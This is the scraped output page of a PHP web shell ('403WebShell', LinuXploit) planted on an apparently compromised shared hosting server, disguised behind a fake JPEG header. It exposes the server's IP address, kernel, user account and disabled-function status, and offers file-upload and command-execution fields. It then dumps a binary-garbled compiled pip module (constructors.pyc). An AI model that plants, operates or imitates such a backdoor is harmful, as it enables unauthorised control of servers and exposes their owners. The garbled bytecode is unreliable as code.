���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.112  /  Your IP : 216.73.216.210
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyc
�
u�fc@sxdZddlZddlZddlZddlmZddlmZmZddl	m
Z
ddlmZm
Z
ddlmZddlmZmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlm Z ddl!m"Z"ddl#m$Z$ddl%m&Z&m'Z'e"r�ddl(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.ddl/m0Z0ndddgZ1ej2e3�Z4e
j5j6�Z7d�Z8d�Z9d�Z:d�Z;de<fd��YZ=d�Z>dde@de@e@d�ZAd �ZBd!�ZCd"�ZDdde@de@de@d#�ZEde@de@d$�ZFe@de@d%�ZGdS(&s~Backing implementation for InstallRequirement's various constructors

The idea here is that these formed a major chunk of InstallRequirement's size
so, moving them and support code dedicated to them outside of that class
helps creates for better understandability for the rest of the code.

These are meant to be used elsewhere within pip to create instances of
InstallRequirement.
i����N(tMarker(tInvalidRequirementtRequirement(t	Specifier(tRequirementParseErrortparse_requirements(tInstallationError(tPyPItTestPyPI(tLink(tWheel(tmake_pyproject_path(tInstallRequirement(t
deprecated(tis_archive_file(tis_installable_dir(tMYPY_CHECK_RUNNING(tpath_to_url(tis_urltvcs(tAnytDicttOptionaltSettTupletUnion(tParsedRequirementtinstall_req_from_editabletinstall_req_from_linetparse_editablecCsOtjd|�}d}|r?|jd�}|jd�}n|}||fS(Ns^(.+)(\[[^\]]+\])$ii(tretmatchtNonetgroup(tpathtmtextrastpath_no_extras((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt
_strip_extras0scCs$|s
t�Std|j��jS(Ntplaceholder(tsetRtlowerR$(R$((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytconvert_extras=scCs*|}t|�\}}tjj|�r�tjjtjj|d��s�djtjj|��}t|�}tjj	|�r�|d7}nt
|��nt|�}n|j�j
d�rt|�j}|r�||td|j��jfS||t�fSnxBtD]:}|j�j
dj|��rdj||�}PqqWd|krut
d	j|���n|jdd
�dj�}tj|�s�djgtjD]}	|	jd
^q��}
dj||
�}t
|��nt|�j}|st
dj|���n||t�fS(sParses an editable requirement into:
        - a requirement name
        - an URL
        - extras
        - editable options
    Accepted requirements:
        svn+http://blahblah@rev#egg=Foobar[baz]&subdirectory=version_subdir
        .[some_extra]
    ssetup.pysMFile "setup.py" not found. Directory cannot be installed in editable mode: {}sb
(A "pyproject.toml" file was found, but editable mode currently requires a setup.py based build.)sfile:R's{}:s{}+{}t+s�{} is not a valid editable requirement. It should either be a path to a local project or a VCS URL (beginning with svn+, git+, hg+, or bzr+).iis, s+URLs2For --editable={}, only {} are currently supportedsZCould not detect requirement name for '{}', please specify one with #egg=your_package_name(R&tosR"tisdirtexiststjointformattabspathRtisfileRRR)t
startswithR	tegg_fragmentRR$R(Rtsplittget_backendtbackendstname(teditable_reqturlt
url_no_extrasR$tmsgtpyproject_pathtpackage_nametversion_controltvc_typetbendsR7t
error_message((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyRDsN!

,cCs�d}tjj|�r�d}yEt|d��0}tt|j���|dj|�7}WdQXWq�tk
r�t	j
d|dt�q�Xn|dj|�7}|S(	s�Returns helpful msg in case requirements file does not exist,
    or cannot be parsed.

    :params req: Requirements file path
    ts The path does exist. trs�The argument you provided ({}) appears to be a requirements file. If that is the case, use the '-r' flag to install the packages specified within it.Ns&Cannot parse '%s' as requirements filetexc_infos File '{}' does not exist.(R,R"R.topentnextRtreadR0RtloggertdebugtTrue(treqR<tfp((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytdeduce_helpful_msg�s
tRequirementPartscBseZd�ZRS(cCs(||_||_||_||_dS(N(trequirementtlinktmarkersR$(tselfRPRQRRR$((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt__init__�s			(t__name__t
__module__RT(((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyRO�scCs�t|�\}}}|dk	r]yt|�}Wqctk
rYtdj|���qcXnd}t|�}t||d|�S(NsInvalid requirement: '{}'(RR RRRR0R	RO(R9R8R:textras_overrideRLRQ((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytparse_req_from_editable�s
cCs�t|�}t|jd|d|dtd|jd|d|d|d|r]|jdg�ngd	|r{|jd	g�ngd
|r�|jdi�nid|j�S(
Nt
comes_fromt
user_suppliedteditableRQt
constraintt
use_pep517tisolatedtinstall_optionstglobal_optionsthash_optionsthashesR$(RXRRPRKRQtgetR$(R9RYR]R^toptionsR\RZtparts((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyR�s		cCsUtjj|krtStjjdk	r>tjj|kr>tS|jd�rQtStS(skChecks whether the string "looks like" a path on the filesystem.

    This does not check whether the target actually exists, only judge from the
    appearance.

    Returns true if any of the following conditions is true:
    * a path separator is found (either os.path.sep or os.path.altsep);
    * a dot is found (which represents the current directory).
    t.N(R,R"tsepRKtaltsepR R3tFalse(R8((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt_looks_like_path�s$cCs�t|�rOtjj|�rOt|�r4t|�Stdjt����nt	|�s_dStjj|�r{t|�S|jdd�}t
|�dkr�t|d�r�dStjd|�t|�S(sd
    First, it checks whether a provided path is an installable directory
    (e.g. it has a setup.py). If it is, returns the path.

    If false, check if the path is an archive file (such as a .whl).
    The function checks if the path is a file. If false, if the path has
    an @, it will treat it as a PEP 440 URL requirement and return the path.
    sUDirectory {name!r} is not installable. Neither 'setup.py' nor 'pyproject.toml' found.t@iiisARequirement %r looks like a filename, but the file does not existN(RjR,R"R-RRRR0tlocalsRR R2R5tlenRItwarning(R"R8turlreq_parts((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt_get_url_from_paths"


#cs�t|�rd}nd}||kri|j|d�\}}|j�}|sZd}qot|�}nd}|j�}d�tjjtjj|��}d}d}t|�r�t	|�}n<t
|�\}}t||�}	|	dk	rt	|	�}n|r�|jdkr\t
jd|j�r\t	ttjjtjj|j����}n|jr�t|j�}
djt���q�|j�n|�t|�}�fd�}�dk	r�yt��}
Wn�tk
r�tjj�kr
d}|t��7}n8d	�kr?t�fd
�tD��r?d}nd}|d
j���}|rv|dj|�7}nt|��q�Xxc|
jD]O}t |�}|j!d�r�dj|�}d}t"|d|dd�q�q�Wnd}
t#|
|||�S(Ns; t;itfiles\.\./s{wheel.name}=={wheel.version}cs�s
|Sdj|��S(Ns{} (from {})(R0(ttext(tline_source(sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytwith_sourceUssIt looks like a path.t=c3s|]}|�kVqdS(N((t.0top(t
req_as_string(sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pys	<genexpr>css,= is not a valid operator. Did you mean == ?RCsInvalid requirement: {!r}s	
Hint: {}t]sExtras after version '{}'.s+moving the extras before version specifierstreplacementtgone_ins21.0($RR5tstripR RR,R"tnormpathR1R	R&RptschemeRtsearchR:Rtis_wheelR
tfilenameR0RlR4R*RRRgRNtanyt	operatorsRt	specifiertstrtendswithR
RO(R8Rtt
marker_septmarkers_as_stringRRR"RQtextras_as_stringtpR:twheelR$RuRLtadd_msgR<tspectspec_strtreplace((RtRysO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytparse_req_from_line#sp		$-	
	 c	Cs�t||�}t|j|d|jd|jd|d|d|rT|jdg�ngd|rr|jdg�ngd|r�|jdi�nid	|d
|jd|�
S(sCreates an InstallRequirement from a name, which might be a
    requirement, directory containing 'setup.py', filename, or URL.

    :param line_source: An optional string describing where the line is from,
        for logging purposes in case of an error.
    RQRRR]R^R_R`RaRbR\R$RZ(R�RRPRQRRRcR$(	R8RYR]R^RdR\RtRZRe((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyR~s	c	Cs�yt|�}Wn&tk
r8tdj|���nXtjtjg}|jr�|r�|jr�|jj	|kr�tdj|j
|���nt||d|d|d|�S(NsInvalid requirement: '{}'skPackages installed from PyPI cannot depend on packages which are not also hosted on PyPI.
{} depends on {} R^R]RZ(RRRR0Rtfile_storage_domainRR:RQtnetlocR8R(t
req_stringRYR^R]RZRLtdomains_not_allowed((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pytinstall_req_from_req_string�s"
cCs�|jr?t|jd|jd|d|jd|d|�}nEt|jd|jd|d|d|jd|jd|jd|�}|S(NRYR]R\R^RZRdRt(tis_editableRRPRYR\RRdRt(t
parsed_reqR^R]RZRL((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt#install_req_from_parsed_requirement�s$										(Ht__doc__tloggingR,Rtpip._vendor.packaging.markersRt"pip._vendor.packaging.requirementsRRt pip._vendor.packaging.specifiersRtpip._vendor.pkg_resourcesRRtpip._internal.exceptionsRtpip._internal.models.indexRRtpip._internal.models.linkR	tpip._internal.models.wheelR
tpip._internal.pyprojectRtpip._internal.req.req_installRtpip._internal.utils.deprecationR
tpip._internal.utils.filetypesRtpip._internal.utils.miscRtpip._internal.utils.typingRtpip._internal.utils.urlsRtpip._internal.vcsRRttypingRRRRRRtpip._internal.req.req_fileRt__all__t	getLoggerRURIt
_operatorstkeysR�R&R*RRNtobjectRORXR RiRRjRpR�RR�R�(((sO/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/req/constructors.pyt<module>	sn.		
		K				"	] 

Youez - 2016 - github.com/yon3zu
LinuXploit